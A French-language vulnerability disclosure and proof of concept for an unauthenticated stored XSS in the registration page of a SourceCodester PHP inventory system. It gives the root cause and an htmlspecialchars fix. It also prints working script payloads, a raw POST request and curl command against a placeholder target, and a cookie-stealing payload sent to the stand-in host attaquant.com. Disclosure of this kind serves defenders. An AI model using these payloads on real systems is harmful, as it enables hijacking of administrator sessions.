
Preuve de concept détaillée pour XSS stockée non authentifiée (CVE-2026-11518) dans le système d'inventaire SourceCodester, incluant le scénario d'attaque, l'analyse des causes profondes et les étapes de correction.
| Champ | Détails |
|---|---|
| Type de vulnérabilité | Cross-Site Scripting stocké (XSS) |
| Application concernée | Système d'inventaire utilisant PHP et MySQL |
| Fournisseur | SourceCodester |
| Version concernée | 1.0 |
| Fichier concerné | register.php |
| Paramètres | fullname, username |
| Authentification requise | Non (non authentifié) |
| Impact | Détournement de session admin, exécution de scripts malveillants dans le panneau d'administration |
| Score CVSS | 8.8 (Élevé) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
Le système d'inventaire utilisant PHP et MySQL de SourceCodester (soumis le 23 mai 2026) est vulnérable à un Cross-Site Scripting stocké non authentifié (XSS) dans le module d'enregistrement du personnel (register.php).
Les champs de saisie fullname et username ne parviennent pas à nettoyer ou encoder les entrées fournies par l'utilisateur avant de les stocker dans la base de données. Lorsqu'un administrateur visite la page Gestion des utilisateurs (users.php), les charges utiles non nettoyées sont rendues directement dans le contexte HTML, provoquant l'exécution immédiate de JavaScript dans la session du navigateur de l'administrateur.
Comme l'enregistrement ne nécessite aucune authentification, un attaquant distant non authentifié peut injecter du JavaScript arbitraire qui s'exécutera dans le contexte de tout administrateur consultant le panneau de gestion des utilisateurs.
/product_inventory/register.php — aucune connexion requise.fullname et/ou username./product_inventory/users.php, la charge utile s'exécute automatiquement dans le navigateur de l'administrateur.http://<TARGET>/product_inventory/register.php
Charge utile du champ Nom complet :
<script>alert(1)</script>
Charge utile du champ Nom d'utilisateur :
<script>alert(2)</script>
Mot de passe : toute valeur (par exemple test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
Équivalent curl :
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Connectez-vous en tant qu'administrateur et naviguez vers :
http://<TARGET>/product_inventory/users.php
Les deux charges utiles s'exécutent immédiatement au chargement de la page.
Un attaquant non authentifié peut :
Exemple de charge utile pour le vol de cookie de session (remplacer par le serveur de l'attaquant) :
<script>document.location='http://attaquant.com/vol?c='+document.cookie</script>
La vulnérabilité existe parce que register.php insère les entrées utilisateur directement dans la base de données sans nettoyage, et users.php affiche les valeurs stockées sans encodage htmlspecialchars().
Motif vulnérable dans users.php (approximatif) :
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
Correctif — appliquer l'encodage de sortie :
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
De plus, les entrées doivent être nettoyées lors de l'insertion dans register.php à l'aide de strip_tags() ou de requêtes préparées avec une validation appropriée.
htmlspecialchars() avec ENT_QUOTES avant d'afficher les données fournies par l'utilisateur en HTML.Signalé par Syed Imad Uddin Alvi — Chercheur en sécurité indépendant